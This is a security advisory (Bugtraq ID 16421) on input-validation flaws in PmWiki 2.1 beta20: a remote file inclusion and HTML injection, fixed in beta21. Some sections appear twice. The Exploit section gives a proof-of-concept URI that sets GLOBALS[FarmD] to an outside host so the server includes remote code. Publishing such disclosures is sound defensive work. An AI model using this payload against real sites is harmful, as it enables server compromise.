PmWiki Multiple Input Validation Vulnerabilities
BID:16421
Info
PmWiki Multiple Input Validation Vulnerabilities
| Bugtraq ID: | 16421 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Jan 30 2006 12:00AM |
| Updated: | Feb 07 2006 08:55PM |
| Credit: | Francesco "aScii" Ongaro is credited with the discovery of these vulnerabilities. |
| Vulnerable: |
PmWiki PmWiki 2.1 beta20 |
| Not Vulnerable: |
PmWiki PmWiki 2.1 beta21 |
Discussion
PmWiki Multiple Input Validation Vulnerabilities
PmWiki is prone to multiple input-validation vulnerabilities. These issues are due to failures in the application to properly sanitize user-supplied input.
- Arbitrary remote file-include vulnerability. Exploitation of this issue will result in the execution of attacker-supplied code in the context of the webserver process. This may facilitate a compromise of the application and the underlying system.
- Unspecified HTML-injection issues. Successful exploitation will permit an attacker to inject arbitrary HTML code. When viewed, this code will be executed in the browser of a victim user in the context of the webserver process. Successful exploitation may aid in the theft of cookie-based authentication credentials, or allow the attacker to control how the site is rendered to the user; other attacks are also possible.
These issues affect version 2.1 beta20; other versions may also be vulnerable.
PmWiki is prone to multiple input-validation vulnerabilities. These issues are due to failures in the application to properly sanitize user-supplied input.
- Arbitrary remote file-include vulnerability. Exploitation of this issue will result in the execution of attacker-supplied code in the context of the webserver process. This may facilitate a compromise of the application and the underlying system.
- Unspecified HTML-injection issues. Successful exploitation will permit an attacker to inject arbitrary HTML code. When viewed, this code will be executed in the browser of a victim user in the context of the webserver process. Successful exploitation may aid in the theft of cookie-based authentication credentials, or allow the attacker to control how the site is rendered to the user; other attacks are also possible.
These issues affect version 2.1 beta20; other versions may also be vulnerable.
Exploit / POC
PmWiki Multiple Input Validation Vulnerabilities
Exploit code is not required.
The following proof of concept URI is available:
http://www.example.com/pmwiki-2.1.beta20/pmwiki.php?GLOBALS&GLOBALS[FarmD]=http://www.example.com
Exploit code is not required.
The following proof of concept URI is available:
http://www.example.com/pmwiki-2.1.beta20/pmwiki.php?GLOBALS&GLOBALS[FarmD]=http://www.example.com
Solution / Fix
PmWiki Multiple Input Validation Vulnerabilities
Solution:
The vendor has released version 2.1 beta21 to address these issues.
PmWiki PmWiki 2.1 beta20
Solution:
The vendor has released version 2.1 beta21 to address these issues.
PmWiki PmWiki 2.1 beta20
-
PmWiki pmwiki-latest.zip
http://www.pmwiki.org/pub/pmwiki/pmwiki-latest.zip
References
PmWiki Multiple Input Validation Vulnerabilities
References:
References:
- PmWiki Multiple Vulnerabilities (Francesco "aScii" Ongaro)
- PmWiki Web Site (PmWiki)